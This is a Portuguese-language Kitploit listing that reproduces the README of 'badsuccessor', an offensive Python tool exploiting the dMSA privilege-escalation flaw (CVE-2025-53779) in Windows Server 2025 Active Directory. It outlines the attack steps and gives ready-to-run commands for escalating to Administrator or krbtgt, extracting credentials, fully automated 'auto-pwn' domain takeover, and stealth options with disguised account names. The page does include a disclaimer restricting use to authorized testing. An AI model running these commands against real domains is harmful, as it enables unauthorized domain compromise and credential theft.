Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
badsuccessor — Explora a vulnerabilidade de escalonamento de privilégios dMSA no Windows Server 2025 para enumerar OUs graváveis, escalonar para usuários de domínio arbitrários, extrair credenciais e possibilitar a tomada de controle do domínio em avaliações de segurança de AD autorizadas. | Kitploit
Ferramentas/GitHubGitHub/cybrly/badsuccessor
Escalada de PrivilégiosReconhecimentoMecanismos de PersistênciaExploraçãoMovimento LateralColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoRed TeamingAtaque Adversário
GitHub
1222029há 1 diaRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
cybrly/badsuccessor

badsuccessor

Explora a vulnerabilidade de escalonamento de privilégios dMSA no Windows Server 2025 para enumerar OUs graváveis, escalonar para usuários de domínio arbitrários, extrair credenciais e possibilitar a tomada de controle do domínio em avaliações de segurança de AD autorizadas.

Ver Repositório

BadSuccessor.py

Uma ferramenta de teste de penetração que explora a vulnerabilidade de escalada de privilégios dMSA (delegated Managed Service Account) em ambientes Active Directory do Windows Server 2025.

Aviso Legal

Esta ferramenta destina-se apenas a testes de penetração autorizados e pesquisa de segurança. Utilizá-la contra sistemas sem permissão escrita explícita é ilegal. Os autores não são responsáveis por uso indevido ou danos.

A ferramenta está em desenvolvimento ativo; o comportamento pode variar entre builds do Windows Server 2025 e variações de esquema. Teste primeiro num ambiente de não produção e reporte problemas ou submeta PRs para correções de compatibilidade.

Visão Geral

O BadSuccessor explora uma vulnerabilidade de escalada de privilégios na funcionalidade delegated Managed Service Account (dMSA) do Windows Server 2025. Permite que um atacante com permissões mínimas escale para qualquer utilizador no domínio, incluindo Administradores de Domínio.

Estado da correção: Rastreada como CVE-2025-53779 (CVSS 7.2, path traversal relativo em dMSA). Divulgada pela Akamai em 2025-05-21 e corrigida na Patch Tuesday de agosto de 2025 da Microsoft. A Akamai observa que a correção mitiga grande parte do risco, mas a técnica subjacente continua relevante, pelo que esta ferramenta permanece útil contra ambientes não corrigidos ou mal configurados.

Investigação de Yuval Gordon (Akamai): Abusing dMSA to Escalate Privileges in Active Directory.

Detalhes da Vulnerabilidade

A vulnerabilidade existe no processo de migração dMSA:

  1. Um atacante cria um dMSA em qualquer OU com permissão de escrita
  2. Define msDS-ManagedAccountPrecededByLink (ou ms-DS-Managed-Account-Preceded-By-Link) para um utilizador alvo
  3. Define msDS-DelegatedMSAState (ou ms-DS-Delegated-MSA-State) para 2 (migração concluída)
  4. O KDC concede ao dMSA todos os privilégios do utilizador alvo através de herança PAC

Além disso, a estrutura KERB-DMSA-KEY-PACKAGE contém as chaves de palavra-passe do utilizador alvo, permitindo a extração de credenciais.

Pré-requisitos

Requisitos de Sistema

  • Máquina Linux (não associada ao domínio)
  • Python 3.8+ (desenvolvido e testado em 3.14)
  • Acesso de rede ao ambiente Active Directory alvo
  • Domínio alvo com pelo menos um Domain Controller Windows Server 2025

Dependências Python

pip3 install ldap3 pyasn1 pycryptodome
pip3 install impacket==0.12.0

A ferramenta tem como alvo o impacket 0.12.0 e também funciona em versões mais recentes (testada com a 0.13.1). Um aviso de incompatibilidade de versão é impresso em tempo de execução e pode ser ignorado em versões mais recentes suportadas.

Dependências Opcionais

# DNS-based DC discovery
pip3 install dnspython

# Kerberos system packages
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Permissões Necessárias

  • Credenciais de domínio válidas (qualquer conta de usuário)
  • Qualquer uma das seguintes permissões em pelo menos uma Unidade Organizacional:
    • CreateChild, Write, GenericWrite ou GenericAll
    • Associação a um grupo padrão com acesso de escrita (por exemplo, Authenticated Users)
  • A ferramenta descobre UOs graváveis e reporta as permissões específicas encontradas.

Instalação

git clone https://github.com/cybrly/badsuccessor.git
cd badsuccessor
pip3 install -r requirements.txt
chmod +x badsuccessor.py

requirements.txt:

ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

Testes

Os testes unitários cobrem a análise de DACL/ACE, o auxiliar de GUID e o tratamento de sessões. Eles não precisam de um Active Directory em execução.

pip3 install impacket   # test dependency
python3 -m unittest discover -s tests

Uso

Sintaxe Básica

python3 badsuccessor.py -d <domain> -u <username> -p <password> [options]

Exemplos

Simulação (nenhuma alteração feita):

python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

Enumere o ambiente:

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

Execute o ataque:

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

Extrair credenciais:

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

Gerenciamento de sessões:

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp_local_john_1234567890_abcd1234
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all

Exportar resultados:

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --export-json attack_results.json --export-html attack_report.html

Opções de Linha de Comando

Autenticação

OpçãoDescrição
-d, --domainDomínio alvo (ex.: corp.local) [obrigatório]
-u, --usernameNome de usuário para autenticação [obrigatório]
-p, --passwordSenha para autenticação
--dc-ipIP do Domain Controller (descoberto automaticamente se omitido)
--ldapsForçar conexão LDAPS (SSL) na porta 636

Modos de Ataque

OpçãoDescrição
--attackExecutar o ataque BadSuccessor
--dry-runSimular o ataque sem fazer alterações
--extract-credsExtrair credenciais usando o key package
--auto-pwnTomada de controle total do domínio automatizada

Especificação do Alvo

OpçãoDescrição
--targetUsuário alvo para escalar privilégios
--targetsUsuários separados por vírgula para extração de credenciais
--validate-targetValidar uma conta alvo sem atacar

Configuração do dMSA

OpçãoDescrição
--dmsa-nameNome para o dMSA (gerado automaticamente se omitido)
--dmsa-patternPadrão de nomenclatura (ex.: svc{random}{target})
--ou-dnDN de OU específica a usar (detectada automaticamente se omitida)
--dmsa-descriptionDescrição para o dMSA criado
--dmsa-display-nameNome de exibição para o dMSA criado
Baixar ferramenta